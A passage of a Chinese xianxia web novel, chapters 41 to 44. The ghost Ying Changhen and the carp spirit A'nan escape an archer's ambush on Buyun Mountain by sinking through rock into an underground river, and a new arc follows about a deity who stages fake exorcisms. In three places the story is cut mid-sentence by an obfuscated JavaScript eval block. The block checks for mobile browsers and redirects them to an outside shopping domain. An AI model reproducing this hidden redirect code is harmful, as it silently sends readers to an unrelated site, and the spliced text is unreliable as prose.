“缠绵意”的青丝阵,每一根头发都来自死后怨气难消的女子。无数根怨气滔天的发丝,就如同无数触手,会自动缠住并绞死一切活物。 就算钟离斐是神仙,被青丝阵包围了,一时半会儿也难以脱身。 尽管他降魔枪一挥,就能砍断大片试图缠上他的青丝,但架不住源源不断的青丝从地下往外冒,动作稍一迟缓就被缠住了双腿。 趁着钟离斐陷入青丝阵无暇对付自己,朱颜悔纵身一跃飞上半空,还想把那个骗子抓回来。 然而,邹府外东南西北四个方向的街道上,都已经看不到一个人影,那个该死的骗子已经跑得无影无踪了。 朱颜悔恨恨地猛跺了一下脚,又是恼怒又是无奈。前不久她才被一个小妖骗了,今晚居然又上当受骗了。 上一回上当受骗,她好歹还知道是谁骗了自己。 这一回却连骗子的长相都没看清楚,只依稀记得那男人留着三绺胡子。 ——可恶,到底是谁骗了我?要是被姑奶奶知道了,一定要活生生地剥了他的皮、抽了他的筋不可。 一边气咻咻地暗中发狠,朱颜悔一边趁着月黑风高撤了。 她的青丝阵虽然厉害,却不可能绞杀得了钟离斐这样的武神,只是能困住他一段时间罢了。 如果他脱困后又追上来,她可不想再跟他拼命,自然是三十六计走为上计。 41.步云山 阿难跑回泊在江边的小渔船时,负责守船的应长恨“小姑娘”,正百无聊赖地躺在船头看星星。 满天星辰如同宝石般熠熠生辉,无论时光如何水逝山沉,它们始终明亮如昔,像无数双眼睛漠然俯瞰着世间万物。 听到熟悉的脚步声,他头也没扭一下,只是懒洋洋地问:“你怎么才回来?” “我能活着回来就不错了,这条小命差一点就交代掉了。” 应长恨觉得阿难是在危言耸听,漫不经心地一嗤。 “你不就是去帮郭氏教训一下她那个负心汉老公吗?能有多大风险,何至于会让你差点送命。” “因为她那个负心汉老公遇上的小寡妇,就是魅鬼朱颜悔。我一进邹府就察觉出了不对劲,可是还没来得及撤,就迎面撞上这个煞星了。” 应长恨听得大吃一惊,一个鲤鱼打挺坐直了身子。 “都撞上了朱颜悔,你居然还能全须全尾地活着回来,看来她是没有认出你了。” “是啊,不幸中的万幸是我有所伪装,她没认出我,把我当作凡人一枚随手拍死,我就顺势倒在地上装死了。” 联想起上一次在华城阿难以“乞丐婆”的身份装死,应长恨不禁失笑道:“你的装死业务相当熟练,自然是又把她骗过去了。” “本来是骗过去了,可是谁知威毅真君钟离斐又突然从天而降,想要降服朱颜悔。他俩在院子里大打出手,我继续装死很容易被涉及遭殃。为了不变无辜炮灰,只能趁他们打得白热化之际冒险逃跑。” 把自己在邹府的经历大致讲述了一遍后,阿难拍着胸口庆幸不已。 “总之这一趟那叫一个险象环生,能活着回来真是算我命大了。” 应长恨也由衷地替阿难感到庆幸,能在同时遇上了朱颜悔和钟离斐的情况下全身而退,这波运气真是太好了。 当然,也得是阿难这种临场反应绝佳、擅长见机行事的人才能做到。 “朱颜悔原来是这么死的。她一向最恨被男人骗,我也猜到了她的死一定与此有关。只是没想到那个渣男居然渣到这种地步,骗她一起殉情结果却是哄她去死,好方便自己甩掉包袱当驸马。我要是她,一定要把渣男碎尸万段不可。” “渣男骗了她是可恶,但是她因此迁怒别人也很可恶。如果只是跟那些负心汉过不去也就算了,可是连惨遭抛弃的可怜女子她也不肯放过,这就很过分了!” 顿了一下后,阿难又叹气道: “郭氏就这样死在了朱颜悔手里。我救了她一场,却只不过是让她多活了半个时辰。朱颜悔这个疯批,自己当年遇人不淑走了绝路,如今也不肯给那些同样苦命的女人一条活路。” 有些人淋过雨,会想要给别人撑把伞;有些人淋过雨,却想要撕烂别人的伞。 总之就是自己倒了霉别人也别想好过,一定要让别人跟自己一样倒霉,甚至是更加倒霉才能心理平衡。 应长恨果断做出决定,立刻解开缆绳准备开船。 “废话少说,赶紧上船走人,路上再遇到什么事都别管了——少管闲事才能活得长久。” . 几天后的黄昏时分,小渔船在东海之畔的步云山靠岸了。 跳下船的阿难和应长恨,都已经卸去伪装恢复原貌,变回了大哥哥带着小弟弟的难兄难弟一双。 曾经的步云山峰峦叠翠,花木葱笼,更有流泉飞瀑之胜景,风景美不胜收。 如今的步云山,却成了一座光秃秃的石头山,什么古树幽花,什么流泉飞瀑,统统都不见踪影了。 袒露出来的连绵山脉,在漫长岁月中被风化侵蚀为千姿百态的黑色石林,荒芜又苍凉地无声矗立于蓝天之下。 仿佛是豪放派画家的笔墨挥洒,绘就了这一幅笔势遒劲的水墨画卷。 应长恨以前来过步云山,已经见识过这儿独具特色的别样风景。 阿难似乎是头一回来,仰望着重峦叠岭的黑色山峰,脸上的神色很是异样。 “喂,你怎么傻了?” “步云山当年奇花异草丛生,古树名木遍布,如今竟成了这般光景,比沙漠还要荒凉。” 就算是黄沙万里的沙漠中,也还有绿洲的存在。不像这片毫无生机的黑色石林,带给人一种强烈的阴郁压抑感。 “听这口气,你还见识过三百年前的那座灵山?” 语焉不详地“嗯”了一声后,阿难还幽幽地感叹了一句:“一朝物变人亦非。” 都说物是人非,然而步云山却是物变人亦非,当年种种盛况早已不复存在。 “步云山现在被戏称为秃驴山,别说奇花异草了,连根杂草都不长。咱俩躲在这里避风头,想找东西吃的话,就只能去海里捕鱼了。” 阿难一向比较在意吃的问题,不过眼下他却对此有些心不在焉,抬脚就往山上走。 “走,上去看看。” . 步云山一共有大大小小高低错落的七座山峰。 曾经的最高峰是独秀峰,高耸入云气势恢宏。 不过三百年前的那场雷火威力惊人,烧得整座山峰都崩塌了,已经塌成了最低峰。 如今的最高峰是锦霞峰,这里曾经漫山遍野都是杜鹃花,花开时五色纷披,灿若霞锦。 不过今时不同往日,眼下的锦霞峰却是一座死气沉沉的嶙峋石峰。别说鲜花了,枯草都看不见一根。 登上独秀峰顶后,阿难还没来得及喘口气,眼角余光忽然瞥见南面的锦霞峰上,有点寒光倏忽一闪,应该是出自于某种金属物体的反射。 电光火石的一瞬间,阿难已经本能地做出了反应,足尖一点,整个人立即往后退。 他的身体才刚刚退离原地,一支闪电般破空而来的白翎箭,就险之又险地从面前飞过。 锋利无比的箭镞,在铮的一声响后,牢牢钉入了坚硬的岩石地面。 应长恨就走在阿难身后不远处,两个人最近一起同生共死,已经培养出了一定的默契度。 阿难一退他直觉不妙,下意识就跟着退,同样退开了一支险此射中他的白翎箭。 这是高手在射箭,两支箭同时射向两个人。 箭势快如流星,准头十足,他俩反应稍微慢一点都躲不过去,要成为箭下亡魂不可。 这突如其来的白翎箭,让应长恨意想不到地瞳孔紧缩:鬼箭幽厄,疫鬼那家伙居然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252012|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在此。 阿难忽然后知后觉地明白过来,他们们来错地方了,疫鬼厉无情显然早就在这儿守株待兔,等着猎物自投罗网。 . 当初将杀死黑虎的黑锅扣到应长恨头上后,厉无情就把自己代入到应长恨的角度,思索了一番他最有可能躲去哪里避风头。 太玄真君陆衢的一道梦令,让应长恨面临整个修真界的追杀,无间鬼域也不敢回去,只能是哪里的危险性最低就躲去哪里。 换而言之,要找个修士最少的地方猫起来。 人间凡界修士最少的地方,自然非步云山莫属。 这片灵气枯竭生机全无的黑色石山,就连耗子都不会过来打洞,更是等闲看不见一个人影。 厉无情决定来步云山碰碰运气。 他一直守在最高峰的锦霞峰顶,这种居高临下的优势,不但方便他发现目标,也最有利于鬼箭幽厄的远程偷袭。 当阿难和应长恨的身影果然出现在山路上时,厉无情没有急于出手,而是很有耐心地等着他们爬上独秀峰顶。 独秀峰曾经陡峭无比,如今却塌成了一座平顶山。 只要他俩上了山,在无遮无挡一览无遗的山顶上,根本找不到可以提供躲避藏身的掩体。 到那时,他们无论如何也躲不开索命的箭矢。 阿难和应长恨登上独秀峰顶后,厉无情瞄准二人开始发射连珠箭,却不料这对机警的妖鬼竟双双避开了第一箭。 出师不利的厉无情继续射出连珠箭,闪电般一支接一支呼啸而去的幽厄箭,前后左右封锁了独秀峰顶那两道身影的逃生之路,不信他们还能逃出生天。 然而,所有射出去的鬼箭最终都没能射中目标,因为独秀峰顶突然多了一样东西。 远远望去,那是一口大铜钟似的物件,正好把阿难和应长恨倒扣在里头,如金刚罩一般将二人护得严严实实。 纵然鬼箭幽厄能够穿心透骨,却也射不穿它。 原本还以为胜券在握,没想到又功亏一篑。 厉无情那张羊脂美玉般莹润的面孔,顿时黑得跟锅底有一拼。 那是什么东西?居然能挡住他的幽厄箭,和光那家伙还真是会给人“惊喜”呢! . 身处没遮没挡的平顶山上,高处还有人手持弓箭进行远程射杀。 想要逃出射程范围来不及,留在原地更是只有等死的份,这个时候该怎么办? 阿难只能靠小铃救命了,虽然它是一个法力大不如前的法宝,但是法宝本体的技能运用还能派上用场。 “小铃护身。” 险之又险地躲开第一箭时,阿难就喊出了这四个字。 虎头铃铛自动飞离他的手腕,从小铃铛光速变化为一只巨大如铜钟般的法铃,大到足够把他和应长恨一起罩入其中保护起来。 几乎就在两个人躲入法铃内部空间的同一时刻,纷沓而来的幽厄箭射中了法铃外部,传来此起彼伏的金属撞击声。 应长恨早就知道阿难的这只虎头铃铛不简单,没想到比他想像中还厉害,居然是法铃本体。 阿难一个小妖,不但懂符咒,还有法铃,到底是什么来头啊? 42.化实为虚 眼下不是追问这些问题的时候,应长恨更关心燃眉之急的事。 “你家小铃虽然暂时护住了咱们,但疫鬼可以守在外面打持久战,咱们总不能一直躲在里头吧?” 法铃内部空间狭小,就算应长恨眼下是小男孩的形体,都得蹲下去才能容身,阿难修长的身体就更是缩成一团了。 “当然不能,这只是权宜之计,接下来还得想办法逃命才行。” “可是倒扣在这里头怎么逃,难道像乌龟背着龟壳那样背着你家小铃走吗?” “不行的,小铃的法力有限,撑不了多久,就又会从本体变回小铃铛一枚。” 应长恨明白了,“也就是我们得赶在小铃缩小前,想出一个逃命的办法。我是一筹莫展,不过你一定留有后手吧?” “我有一道化实为虚符,但法力不足以驱动它,你眼下能施展出多少法力?” 阿难没有详细解释何为“化实为虚符”,应长恨也顾不上细问,只是回答最关键的问题。 “我可以像当初对付黑虎那样强势爆发一下,至少能使出八成以上的法力。” “咱们一起上,应该差不多够了,那就赌一把吧!” 并起右手两指如刀,阿难猛地戳入自己胸口,戳出一个鲜血淋漓的伤口。 这道威力强大的符咒需要用心头血画符,既伤元气又难以驱动。只有在迫不得已的情况下,他才会冒险一试。 以食指指尖蘸着胸口流出的鲜血,阿难苍白着一张脸,蹲在黑色岩石地面上画起了符,一边画一边在口中默念咒语。 这是应长恨头一回见到阿难画符。 虽然符书复杂无比,但是他从起笔到收笔如行云流水般一气呵成,显而易见这些东西对他来说早已烂熟于心。 符画好后,阿难抬起头问应长恨:“准备好了吗?” 应长恨刚才已经恢复了青年的外形,此刻和阿难一样缩成一团,额头抵着额头蹲在一起。 “好了。” “开始。” 二人的右手合掌在一起,共同驱动那个鲜血淋漓的符咒。 整道符咒亮起红光后,圈在法铃内那片黑色岩石地面,随之泛起一层奇妙的光芒。 那层光芒,让坚实的黑石瞬间化为虚无的黑雾。 两个人顿时像秤砣落水般直直坠落下去,大铜钟似的法铃也陪着他们一起沉入山体深处。 . 厉无情手持弓箭,从锦霞峰顶飘下来。一袭白衫衣袂翩飞,飘然有出尘之表,看上去不像鬼倒像是神仙一般。 在独秀峰顶落定后,隔着三丈以上的距离,他谨慎地端详着那个突然冒出来的东西,发现它看似是一口大铜钟,其实是一个放大版的法铃。 铃和钟属于同类物件,区分在于小者为铃,大者为钟。 作为道家驱妖降魔的法器之一,法铃是一种拿在手里摇晃的铃铛。 法铃与普通铃铛的区别之处在于柄,柄尾部分是类似三叉戟的形状,就像是汉字的“山”字。 常见的法铃以黄铜铸成,刻满符咒、神像或经文。 有些考究的法铃则用黄金铸就,还镶嵌灵石或灵珠,不但光彩逼人,精美异常,更能增强它的法力,通常是修为高深或身份尊贵的修士才能拥有。 独秀峰顶这个出现得十分突兀的法铃,就属于后者。 看似黄金质地,铃体却闪烁着比金子更加耀眼的光芒,映得黝黑的山体都亮堂了不少。 和光是妖,应长恨是鬼,他们两个无论哪一个,都不可能像是能够拥有这个法铃的人。 为什么关键时刻,却有法铃出现为他们提供庇护呢? 厉无情实在想不通这个问题,就在他发怔的时候,那只法铃蓦然一沉,竟然直直地沉入了黑色岩石。 这一幕更加令人匪夷所思,被罩在法铃下的那方黑石地面,原本是坚实的岩石体,此刻却如云似雾般飘渺浮动着,不知几时变成了一片黑色云雾。 一眨眼的功夫,那只法铃就坠入黝黑如漆的云雾中,消失得无影无踪。 原本被它罩在下方的两个人也一起跟着不见了踪影,显然是靠这一化岩石为云雾的法子逃之夭夭了。 厉无情不由自主地吃了一惊,此等法术他还从未见过,堪称玄妙之至。 独秀峰顶,只有被法铃笼罩过的黑石地面,才发生了这样奇异怪诞的变化,其他地方依然坚硬无比。 打个比方来说,那一圈地面仿佛是一口深井,只是井中不是水,而是充盈着黑色云雾。 如果厉无情愿意的话,大可以跟着跳下去继续追杀目标。但他是一个谨慎的人,这样做的风险太大,轻易不愿以身犯险。 一来黑雾缭绕的山体内部什么也看不见,贸然进入极有可能置自己于险境; 二来法铃的出现与这种玄妙的法术,都说明对手很不好对付,他更要小心应对才是。 厉无情只是稍一迟疑,那片飘渺不定的黑色云雾,倏忽间又凝固成为黑色岩石。 他难以置信地走上前,试着用脚尖轻轻一碰,触感告诉他,那确实已经是坚硬无比的石头了。 ——这到底是什么法术? 虽然弄不清楚这是什么法术,但是厉无情猜测一定跟那个和光有关。 如果应长恨有这样的能耐,也就不用变成小鬼东躲西藏了。 . 何谓化实为虚符,应长恨在无休无止的坠落中,有了再切实不过的体会。 阿难以心头血绘成的这道符咒,合他们二人的法力驱动后,坚硬无比的石头山体,突然就变成了虚无飘渺的黑色云雾。 他俩直直往下坠,耳畔风声呼呼作响,四周黑漆漆一片,什么也看不见,仿佛沉入了无底的深渊…… “我们要坠多久?” “大概一朵烟花燃放的时间,你负责别让我摔了。” 这道化实为虚符全靠法力爆发威力,驱动后就像一朵钻入地下的烟花,能钻多深取决于法力的强弱。 在它一路往下钻的路线中,岩石山体全部化为虚无,却又在它穿过后迅速恢复为实体。 当钻入程度达到极致时,威力的最后呈现是如烟花般炸开。 处在这一威力范围内的岩石山体,都将永远保持化实为虚的质变,成为山腹中一个凭空出现的山洞。 这样的山洞,正好可供施术者栖身,否则被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268325|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卡在岩石中的滋味可不好受。 阿难的声音有些虚弱,应长恨原本就抓着他的右手,听了这话伸出另一只手插入他的左腋下方,把他整个人稳稳扶在臂弯里。 “好,保证摔不了你。” 坠落即将结束时,符咒最后的威力爆发,正好形成一股向上托的灵力波,令流星般急速下坠的两个人身形一缓。 应长恨趁机稳住身子,在指间燃起一簇幽蓝的鬼火朝下张望,发现足下三丈左右是个小山洞,便扶着阿难一起跳下去落在地上。 与他们一起落下的还有那只虎头铃铛,它自动飞回主人的手腕,又把自己挂上了金刚绳结。 “运气真好,这山肚子里头有个小山洞。” “不是运气好,是符咒力量造就的山洞。不然,咱俩卡在里头当地鼠吗?” 应长恨不得不服,“这符咒真牛,你真厉害!” 如果换作平时,阿难一定要嘚瑟一番,吹嘘吹嘘自己“天赋异禀,自学成才”的优秀。 可现在他却有气无力地往地上一坐,一副精神不济的模样。 “你还好吗?” “不好。” 话音未落,那只虎头铃铛就自动摇出一连串清脆又急促的声音,听上去似乎十分焦急不安。 应长恨蹲下去,高举着那簇幽蓝鬼火去细看阿难的脸色,发现他的面孔已经白得隐隐发青。 无论神仙还是妖怪,取心头血都是一件元气大伤的事,后续需要好好疗伤,最好是在灵气充沛的地方休养生息。 可步云山偏偏是个灵气枯竭的地方,而且他们还被困在独秀峰的山腹之中,想要离开谈何容易。 对于应长恨这个鬼来说倒不算太难,只要化肉身为魂体,就能越过重重岩石飘出去。 当然这一过程要消耗不少法力,穿过一面墙壁与穿过一座山峰,后者的难度是前者的倍数级别。 但是阿难不行,别说他现在元气大伤,就算是没有受伤的情况下,他那点法力也不足以施展穿墙术。 所以当初被配阴婚埋进土里时,还得自己打地洞从坟墓中钻出来。 如果同为妖族,应长恨还可以给阿难渡一些妖元精华,帮助他多支撑一会。可他却是鬼族,鬼气一入体只会死得更快。 虽然逃脱了疫鬼厉无情的鬼箭射杀,但是眼下他们仍然处于困境之中。 应长恨剑眉紧蹙,忧心仲仲:如果没有办法把阿难带离这里,他就要死定了。他如果死了,那么我也就活不成了。 应长恨被阿难用一纸感同身受符绑定,和他成了一根绳上的蚂蚱,一损俱损一荣俱荣。现在阿难元气大伤奄奄一息,那么他…… 一念至此,应长恨忽然后知后觉地反应过来:咦,不对,感同身受符不是同伤同死吗?怎么现在阿难心脉受创,我却一点事都没有呢?难道…… “阿难,你那张感同身受符的有效期,根本就没有九九八十一年是吧?” 应长恨问得直截了当,阿难有气无力地回答道: “嗯,别说九九八十一年,九九八十一天都不行。虽然是强化版,也只是能多撑十天半个月罢了,咱们还没到禹杭城就已经失效了。” 43.落叶归根 虽然被阿难骗得团团转,但是应长恨并没有生气。 算起来,这个小妖已经从疫鬼手里救下他两回了,足够抵销掉上当受骗这回事。 “现在你可以走了。这鬼地方我出不去,你还是可以的。” 阿难虚弱无力地说出这句话后,系在他右腕上的虎头铃铛发疯似的摇个不停,摇出的急促铃声一听就是在强烈反对。 “你家小铃好像不同意我走呢。” 虎头铃铛显然很开心应长恨听懂了自己的意思,自动飞离金刚绳,飞向他的右手背轻碰了一记,像是在跟他握拳击掌。 “你不走呆在这儿干吗?想跟我一起死吗?快走吧,没必要咱俩的性命都搭在这儿,能活一个是一个。” 步云山灵气枯竭,不但不能增进修士的法力,呆得久了还会让法力下降。 就像饿肚子的人如果得不到食物补充,时间一久就会消耗自身能量。 刚才和阿难联手驱动化实为虚符,应长恨的法力也消耗巨大。 如果想要离开这个山洞,必须利用剩余的法力越快离开越好。如果留在这里陪着阿难,没准到最后法力殆尽也出不去了。 “对,呆在这儿只能等死,所以我会先设法四处查看一下,看周围有没有其他天然洞穴或地下暗河,那样我也许能利用法力打个地洞通过去,你不就有救了吗?” 阿难听了这番话还没说什么,虎头铃铛已经欢快地叮叮当当响个不停,仿佛在说“对对对,是是是,就这样就这样”。 “小铃,你好吵!” 对于阿难不无嗔怪的数落,虎头铃铛飞到他额头前轻轻一碰,重重一响,似乎是在戳着他的额头教训他。 小铃今日响得次数比以往加起来都要多,被应长恨关在袖笼里的泥娃娃阿福早就听见了。 它一直在奋力往袖笼外钻,终于成功钻出了一只圆滚滚的大脑袋瓜,眼珠子乱转着四处看。 “阿福,你来得正好,交给你一个任务,去打探一下山洞四周的环境,然后来报。” 应长恨一把抓起阿福运用法力驱动,障眼法消失后呈现出法宝本体。 胖嘟嘟的泥娃娃憨态可掬,谁知原形却是一个恐怖可怕的骷髅头骨。 那个骷髅头骨十分小巧,明显不是成年人的头骨,甚至都不是孩童的,只有婴儿的头骨才会这么小巧。 利用纯净的婴儿血炼制邪器,是一些邪魔外道常见的术法。 但是婴儿头骨并不能派这样的用场,也不知应长恨为什么会它来炼制法宝? 阿难已经虚弱不堪,视线也有些模糊了。但是看见那个婴儿头骨时,两道目光还是为之一凝。 . 骷髅头骨阿福奉令行事,明明有形却似无形,直接穿过岩石消失不见了。它就像应长恨的一个分身,代替他去四处钻探周围环境。 阿福离开没一会儿,越发虚弱的阿难就连坐都坐不住了,整个人难以支撑地往地上一躺,下半身变成了一截修长的鱼尾。 妖类修成人形后,一般不会轻易现出原形。 不过阿难此刻心脉受创元气大伤,自然是难以再维持自己的人形。 因为还没有完全失去意识,所以只是现出半截鱼身,如果完全昏迷不醒的话,就要彻底原形毕露了。 应长恨终于知道了,原来阿难是一条赤尾金鳞的鲤鱼成精,他之前猜了那么多,全都猜错了。 不过此时此刻知道这一点,却让他越发忧心仲仲。 对于鳞介水族来说,水尤其是它们不可或缺的生命之源。 阿难眼下元气受损,最适合他疗伤休养的地方就是水中。这个缺乏水源的山洞,只会令他更加难以为继。 “喂,你挺住,别睡啊,睡过去就死定了。” 应长恨伸手摇了摇双眼已经快要阖上的阿难,他意识朦胧地喃喃低语:“死在这儿,倒是落叶归根。” “落叶归根,你以前是在步云山集天地灵气成精的吗?” 步云山灵气充沛的时候,不只是无极宗成为天下第一宗门,山中的飞禽走兽古木奇花,也不乏在此靠汲取天地灵气修成了妖怪精灵的。 只要这些妖怪精灵走正统修行的路数,不搞邪魔外道那一套,无极宗也轻易不会伤害它们。 阿难闭上眼睛没有回答,似乎已经无力作答。 虎头铃铛急得要命,飞到在阿难耳畔叮叮轻摇。清脆悠扬的铃声一点也不刺耳,像是想为主人宁心安神,多维持一刻的灵台清醒。 这时候阿福去而复返,它直接落在应长恨的头顶,而且是有些滑稽的天灵盖顶着天灵盖,像在玩倒立一样。 不过,就在这样的头顶相触中,应长恨瞬间感知到了阿福所探知的一切。 这个山洞下方大约五丈远的地方,就有一条蜿蜒曲折的地下暗河经过。如果他能打通中间的岩石层,阿难就能入水了。 “阿难,这下头有暗河,你再坚持一下,我会尽快把你送下去。” 把阿福重新塞回袖笼,应长恨幻出鬼刀风雷怒在手,蕴足法力朝着脚下的黑石地面用力捅下去。 轰隆一声巨响后,大概一丈深的岩石层,被直接捅出一个大窟窿。 应长恨连出三刀,大窟窿变成了一口深井,但是还没有打通。 他咬紧牙关继续,拼上全部法力再出三刀,终于在一片碎石乱滚的声响后,听到了水流潺潺的声音。 法力耗尽的应长恨也筋疲力尽,几乎站不稳身子。 回头一看,趴在地上的阿难已经完全变成了一条鲤鱼,胸鳍处有一个血肉模糊的洞。鱼嘴的一张一合疲弱之极,像是随时可能断气。 虎头铃铛自动飞到应长恨耳畔,一阵狂摇乱响。 响起的铃声每一声都是焦急万分的催促,不用翻译他也能听懂——快救他啊快救他啊快救他啊…… 双手把那条濒死的鲤鱼捧起来,应长恨纵身跳下那口“深井”,扑通一声落入地下河中。 地下河没有一丝光,就如同新研的墨汁般漆黑一片,应长恨也不可能再燃起鬼火来照明。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281721|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只能感觉到掌心中的鲤鱼被水流带走了,带去哪里就不可得知,这种情况也根本无从寻觅。 无数水花气泡在耳畔咕噜作响时,他还听到了数声铃铛轻响,在水流中只是隐约可闻。那铃声不再焦躁难安,变得平静多了。 再一次,应长恨无师自通地听懂了小铃的铃语,它在由衷地对自己道谢:谢谢你救了我的主人。 躺在漆黑冰冷的水流中,应长恨无声一笑:不用谢,是你的主人先救了我。 . 有了这条地下河,就不用发愁出不去了。 因为海平面低的原因,绝大多数地下河最终都会流向大海,更何况这条暗河就在东海之畔的步云山。 筋疲力尽的应长恨彻底躺平不动了,任由水流带着他漂流。 也不知漂了多久,水流中多了几丝咸涩味道,他便知道地下暗河已经汇入东海。 浮出海面时,应长恨发现明月刚刚升上中天,自己身处一片汪洋之中。 耸立于海边的步云山距离已经十分遥远,只是隐约可见的一带青嶂。 环顾着四周波涛起伏的大海,他不由自主地心想:也不知道阿难现在在哪儿? 理论上,阿难极有可能和应长恨一起被暗河带来了东海。 只是东海之大,大到一条鱼连沧海一栗都不足以比拟其微小,谁又能知道他此刻身在何处呢? 过去的二十多天里,应长恨一直跟阿难结伴同行。 一开始是迫不得已,他每天都在暗中咬牙发狠,想着以后要怎么弄死这个臭妖怪。 如果想像能杀人,阿难早就已经被他剥皮抽筋弄死一百遍了。 那时候他无论如何也想不到,经过后来的几番同生共死,这个最初所谓的“过命交情”,还真成了过命的交情。 去年隆冬时节,应长恨第一次见到阿难,满打满算也就认识了不过三个多月,真正打交道的时间甚至不足一个月。 然而,这时间不长的一段短短交集,却让应长恨心底生出一丝留恋:也不知道以后还有没有机会再见到他? 这个问题没有答案,要看造化,看缘分。 而应长恨并不是一个有造化有缘分的人。他刚出生就被父母弃之路旁,人生路线主打一个无亲无故无依无靠,天地间唯有自己孑然一身。 甩了一下湿漉漉的额发,应长恨原本微带暖意的眼眸变得冷漠异常。 这样也没什么不好的,独自一人了无牵挂就没有软肋,不会被任何人拿捏。 没有软肋的厉鬼应长恨,鬼生梦想就是成为新的鬼域之王。只有把阿福成功炼成法宝,他才有可能问鼎鬼王宝座。 下意识地摸了摸袖笼里的阿福,应长恨仰起头眺望星空,从中判断方向。 眼下他法力耗尽,也需要找个灵气充足的地方调养生息,东海的海中洲距离最近,是最理想的选择。 根据星辰判断方向后,应长恨朝着海中洲的方向游过去,一道孤零零的身影逐渐消失于苍茫夜色中…… ——第一卷终 44.檀豫 桃红又是一年春。 淮南一带,虞城,海禺山。 海禺山因临近东海而得名,虽然不是天下闻名的灵山,山底却也蕴有灵脉。 灵脉生灵气,滋养出林壑幽美、石奇涧清的海禺山。 海禺山上有个流云洞,洞内住着一位山大王,乃千年古藤修炼成精,化作白发苍苍的老叟外形,被手下的小妖们尊称为“老祖”。 藤老祖虽然是妖,却跟天界的神仙搭得上关系。 淮南一带的本土神仙中,普和真君檀豫名气最大,没有之一。这位老神仙飞升之前,在海禺山隐居过一段时间,曾经牵引藤萝补茅屋。 那根被檀豫牵过的藤萝,因此得了仙缘开了灵窍,后来顺理成章地修炼成精了,就是藤老祖。 因为这点因缘,修成人形的藤老祖,厚着脸皮找机会去跟普和真君拉关系套近乎,谁知还真被他攀上高枝了。 檀豫自然不会无缘无故地垂青于一个藤妖,之所以接纳藤老祖,是因为有用得着他的地方。 . 这一日,藤老祖召来四个心腹小妖在流云洞商量要事。 “这回配合仙官上演降妖伏魔的戏码,普和真君重点强调要把场面搞大一点,来一出精彩的斗战,方能显出冲元真君的神通。” 小妖甲好奇询问:“老祖,这位新飞升的冲元真君是什么来头,普和真君为啥这么重视他升仙后的首次显灵?” “这位冲元真君是普和真君的后人,深得他器重。越是器重,自然就越是想来个开门红满堂彩了。所以咱们一定要配合好,绝不能让两位仙官失望。” 小妖乙笑道:“老祖只管放心,这类戏码咱们都配合过多少回了,业务相当熟练,保证让两位仙官满意。” 藤老祖这些年在海禺山当山大王,除了修行这个主业外,还有一项很重要的副业——配合普和真君搞神灵显圣的戏码。 作为淮南一带最有名的本土神仙,普和真君檀豫的赫赫威名,只要是长了耳朵的人都有所耳闻。 因为这位老神仙好几次在凡人面前显灵驱邪除祟,所以深得淮南百姓的崇敬。 普和真君那几次为世人津津乐道的神仙显灵,都是藤老祖大力配合的结果。 前者宝相庄严地高踞半空中,大喝一声“孽畜还不束手就擒”,后者就立马缩成一团抖得跟筛糠似的,跪地磕头求饶不止。 神仙一亮相,就兵不刃血地收服了妖怪,那效果别提多好了。 围观的百姓每每看得群情鼎沸,“普和真君威武”的赞颂声能飘出十里之外,普和庙的香火越发旺盛。 淮南一带是普和真君檀豫的主场,他这人向来抱团护短,除了为自己扬名,也会提携一下麾下的辅神。 让藤老祖策划一些有利于提升他们名气的不同戏码在人前显灵,前提是不能越过自己的风头。 除此以外,这位成仙多年的老神仙,在云间仙境还有不少故交老友。他们出于增加香火供奉的目的,也会找檀豫帮忙安排一下类似戏码。 本土神仙大都各自为政,各有各的地盘,也就各有各的信徒拥趸。 类似的显灵戏码在其他地方上演,并不会影响到檀豫在淮南一带的香火旺盛,还能让他赚上一笔人情。 所以,他有时也会安排一些此类客户给藤老祖。 藤老祖尽心尽力地为普和真君服务,前前后后设计了多套方案,帮助他扶持自己的仙官,以及赚其他仙官的人情。 因此做大了这项副业,从中赚了不少好处。 普和真君擅长炼丹,既有用得着藤老祖的地方,就不会亏待他。每一次找他配合演戏,都会给几颗延年益寿的灵丹作为酬劳。 灵丹对妖怪来说可是大有裨益的好东西,光是这一点,也足以让藤老祖死心塌地为普和真君竭诚服务。 这一次,为了替新飞升的冲元真君扬名,普和真君一反常态地提出要把场面搞大一点,好好彰显一下这位武神的神武非凡。 小妖丙道:“老祖,这个场面要如何搞大一点啊?” “我已经按照普和真君的要求设计了一个方案,到时候咱们全体出动,大家都要好好演啊!” 为了提供更好的配合服务,藤老祖收编的小妖们,全部都要学习怎么演戏。 在海禺山,如果哪个小妖在表演方面很有天赋,比修行方面有天赋更有前途,因为演得好的话可以获得藤老祖奖赏的灵丹一颗。 